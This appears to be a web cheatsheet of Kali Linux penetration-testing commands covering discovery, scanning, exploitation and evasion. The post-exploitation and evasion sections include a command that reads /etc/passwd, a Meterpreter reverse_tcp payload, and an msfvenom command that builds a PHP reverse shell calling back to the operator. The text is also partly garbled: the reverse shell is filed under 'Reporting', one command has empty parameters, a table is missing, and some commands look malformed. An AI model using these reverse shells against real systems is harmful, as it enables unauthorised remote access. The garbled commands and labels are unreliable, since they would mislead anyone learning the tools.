Kali Linux Command Cheatsheet for Penetration Testing

📱 Mobile Security Tips

Sarah Chen — iOS Security Specialist

What is Kali Linux?

Kali Linux is a Debian-based Linux distribution designed for digital forensics and penetration testing. It includes numerous pre-installed tools suited for various information security tasks, including penetration testing, security research, and reverse engineering.

Installation

Kali Linux can be installed on various platforms, including virtual machines, USB drives, and complete system installations. To download, visit the official Kali Linux site for recent images.

Basic Syntax

The basic command syntax for utilizing tools in Kali is:

toolname [options] [target]

Discovery

Networking Discovery

Use these commands to discover hosts and services on a network:

• nmap -sP 192.168.1.0/24 – Performs a ping scan on the subnet to identify live hosts.
• arp-scan -l – Scans the local network to identify devices using ARP packets.

Scanning

Vulnerability Scanning

Use these commands to scan for vulnerabilities:

• nikto -h http://targetsite.com – Scans web servers for vulnerabilities.
• openvas-scanner – Runs the OpenVAS vulnerability scanner.

Exploitation

Exploitation Tools

Utilize these tools for exploitation:

• searchsploit term – Searches exploit database for related exploits.
• msfconsole – Starts the Metasploit Framework console for exploitation.

Analysis

Post-Exploitation

Commands for analyzing results post-exploitation:

• cat /etc/passwd – View the password file to enumerate users.
• netstat -tulnp – Shows active connections and listening ports.

Evasion

Evading Detection

Methods to evade IDS/IPS:

• nmap -sS -Pn -T0 target – Uses TCP SYN stealth scanning.
• msfconsole -x 'set payload linux/x86/meterpreter/reverse_tcp; set LHOST ; set LPORT ; run' – Set up a reverse shell while utilizing Meterpreter’s evasion features.

Reporting

Generating Reports

Commands to generate reports from your findings:

• msfvenom -p php/meterpreter/reverse_tcp LHOST=your_ip LPORT=your_port -f raw > shell.php – Generates a PHP reverse shell.
• nessus -q -f nessus -o .nessus – Run Nessus and output results to a specific file.

Quick Reference Table

Pro Tips

• Use the --top-ports flag with Nmap to limit scan to common ports, speeding up the process.
• Run Nmap scans with -p- to scan all ports, if time allows.

Real-World Examples

When conducting a pen test on a corporate network, you could:

1. Discover live hosts: nmap -sP 192.168.1.0/24.
2. Scan for vulnerabilities: nikto -h http://targetsite.com.
3. Exploit a found vulnerability: msfconsole to load an exploit.